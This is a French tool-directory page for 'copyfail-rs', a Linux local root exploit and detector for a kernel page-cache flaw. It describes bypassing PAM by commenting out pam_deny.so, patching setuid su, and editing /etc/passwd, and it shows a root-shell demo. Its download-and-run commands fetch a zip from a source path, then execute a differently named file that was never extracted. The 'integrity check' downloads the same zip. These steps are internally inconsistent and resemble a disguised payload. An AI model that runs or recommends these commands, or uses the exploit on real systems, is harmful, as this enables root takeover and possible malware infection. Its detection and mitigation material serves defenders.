Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
copyfail-rs — Exploiter et détecter les vulnérabilités CVE-2026-31431 à l'aide d'un binaire statique qui surveille l'intégrité du système et contourne l'authentification PAM. | Kitploit
Outils/GitHubGitHub/liverwortenuresis371/copyfail-rs
Escalade de PrivilègesCriminalistique MémoireAnalyse des VulnérabilitésExploitationAnalyse ForensiqueTests d'IntrusionAuthentificationRed TeamingRéponse aux Incidents

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Exploitation de Binaires
GitHubliverwortenuresis371/copyfail-rs

copyfail-rs

Exploiter et détecter les vulnérabilités CVE-2026-31431 à l'aide d'un binaire statique qui surveille l'intégrité du système et contourne l'authentification PAM.

Voir le dépôt
18il y a 2 joursPas encore vérifié

copyfail-rs

PoC multi-vecteur + détection jumelée pour CVE-2026-31431 (CopyFail). Inclut un nouveau vecteur de contournement d'authentification PAM qu'aucun autre PoC public ne propose. Le mode détection capture ce qu'AIDE / Wazuh / OSSEC / Tripwire ne peuvent structurellement pas détecter.

Binaire statique unique. ~108 Ko. no_std musl.

Démo

noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#

Une commande. Shell root. PAM killshot sous le capot (écriture unique de 4 octets dans /etc/pam.d/common-auth), PTY drop dans root via sudo avec mot de passe jeté. La ligne [sudo] password for noot: s'affiche brièvement, sudo émet toujours cette invite ; le binaire lui fournit n'importe quelle chaîne et l'échec de pam_unix cascade à travers le pam_deny.so commenté vers pam_permit.so → root.

$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===

TAMPERED (1):
  /etc/pam.d/common-auth [ext4]
    cache:  23c4f1ee...  ← ce qui est réellement chargé (muté)
    disk:   117dab1c...  ← ce qu'AIDE / Wazuh / Tripwire voient (propre)

Voilà le projet. Disque propre, cache modifié. Tous les FIM publics sont aveugles. Cet outil ne l'est pas.

Démarrage rapide (pas besoin de compilation)

Binaires statiques pré-construits sur la version v0.1.0. Choisissez votre architecture, téléchargez, exécutez.

# x86_64 (most laptops + cloud servers)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit

Autres architectures :

ArchitectureFichier
ARM64 (aarch64)copyfail-aarch64-musl
ARMv7 (Raspberry Pi 3+)copyfail-armv7-musleabihf

Vérifier l'intégrité :

curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt

Binaires statiques musl, aucune dépendance d'exécution, fonctionne sur tout Linux.

Pourquoi les FIM sont aveugles

Mutation du cache de pages. Pas d'écriture VFS. Pas de page sale. Pas d'événement inotify. Le réexamen périodique entre en concurrence avec l'éviction.

AIDE/Wazuh/OSSEC/Tripwire/Samhain lisent via les E/S tamponnées → cache de pages → hachent les octets mutés comme vérité. Ou après éviction, hachent le disque propre → « aucun changement jamais produit. »

La détection nécessite O_DIRECT (sauter le cache) + lecture tamponnée (frapper le cache) + différence de hachage. Inadéquation = signature CopyFail. C'est --scan.

Vecteurs

VecteurCibleOù il atterrit
pam (NOUVEAU)/etc/pam.d/common-auth (Debian/Ubuntu) ou system-auth (Fedora/RHEL/Arch)4 octets. auth requisite pam_deny.so → #aut requisite pam_deny.so. Sudo avec n'importe quel mot de passe = root.
su/usr/bin/suMute le texte du binaire setuid. execve → root.
passwd/etc/passwdBascule UID → l'utilisateur devient root à la prochaine connexion. Casse SSH pour cet utilisateur.

Sélection automatique : --vector auto (par défaut). Classe pam > su > passwd par furtivité. Repli en cas d'échec.

Détection

ModeQuoi
--checkNoyau + module + CONFIG_CRYPTO_USER_API_AEAD + état de l'atténuation. Verdict : vulnérable / atténué / sûr.
--scanDifférence O_DIRECT vs lecture tamponnée sur les fichiers critiques. Ramification statfs() : ext4/xfs/btrfs utilisent O_DIRECT, overlayfs se replie, tmpfs ignoré.
--baseline / --diffInstantané d'un état connu propre. Différer ultérieurement. Deltas uniquement dans le cache = l'empreinte CopyFail.
--watchDémon. Analyse périodique. SIGTERM propre.
--huntBalayage de la flotte SSH. Agrégats JSON.

--json partout pour ingestion SIEM.

Artéfacts de détection

detection/ :

  • sigma/copyfail-af-alg.yml, règle Sigma, à déposer dans votre SIEM
  • auditd/copyfail.rules, augenrules --load
  • ebpf/copyfail-trace.bt, one-liner bpftrace
  • apparmor/copyfail-block.profile, règle de refus AppArmor 3.0+
  • mitigation/disable-algif.sh, liste noire modprobe + avertissement =y

Atténuation

echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead

Ou noyau principal a664bf3d603d (avril 2026). À ce jour : seuls Debian Sid/Forky l'ont fourni. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle = tous vulnérables.

Mise en garde : CONFIG_CRYPTO_USER_API_AEAD=y (intégré) contourne silencieusement modprobe. --check avertit.

Après exploitation + atténuation : la mutation du cache persiste jusqu'au redémarrage. L'atténuation bloque les NOUVELLES exploitations, n'annule pas les précédentes.

Compilation

cargo build --release --target x86_64-unknown-linux-musl
CibleTaille
x86_64-musl108 Ko
aarch64-musl96 Ko
armv7-musleabihf86 Ko

no_std. Pas d'allocateur. Aucune dépendance d'exécution. Binaire statique unique.

Les artefacts pré-construits et les sommes SHA256 sont joints aux versions GitHub.

Utilisation

Voir docs/usage.md pour des exemples concrets tenant sur un écran par mode (exploit auto/list/all, detect check/scan/baseline/diff/watch/hunt).

Pour une version narrative plus longue de ce README (plus de contexte, exposition plus approfondie), voir BLOG.md.

Modèle de menace

Voir docs/threat-model.md.

Comparaison

Theori Pythontgies Cbadsectorlabs Gocopyfail-rs
Vecteurssusu + passwdsusu + passwd + PAM (nouveau)
Détectionaucunaucunaucuncomplet --mode detect
Artéfacts IRaucunaucunaucunSigma + auditd + eBPF + AppArmor
Expérience utilisateur3 commandes4 commandes5 commandes1 commande
Binairenécessite Python~10 Ko~5 Mo~108 Ko statique

Autorisation et éthique

Matériel personnel uniquement. Pas de porte CLI (théâtre de sécurité). README + LICENSE = le cadre.

Le mode détection est en lecture seule. Sûr en production.

Le mode exploitation mute le cache de pages du noyau. RAM uniquement mais à considérer comme destructeur. Bloque l'authentification pour tout appelant ultérieur.

Crédits

CVE-2026-31431 divulgué par Theori / Xint le 2026-04-29 (writeup, blog Xint). PoCs publics antérieurs :

  • theori-io/copy-fail-CVE-2026-31431 (Python, 732 octets, vecteur su)
  • tgies/copy-fail-c (C avec nolibc, vecteurs su + passwd, portable)
  • badsectorlabs/copyfail-go (binaire Go statique, vecteur su)

Ce projet (copyfail-rs) : ajoute le vecteur de contournement d'authentification PAM, la détection double mode, les artéfacts IR.

Licence

MIT.

Références

  • https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
  • Correctif Linux : a664bf3d603d
  • Seuil : 72548b093ee3 (4.14, août 2017)
  • Similaire : Dirty Pipe (CVE-2022-0847)
Télécharger l’outil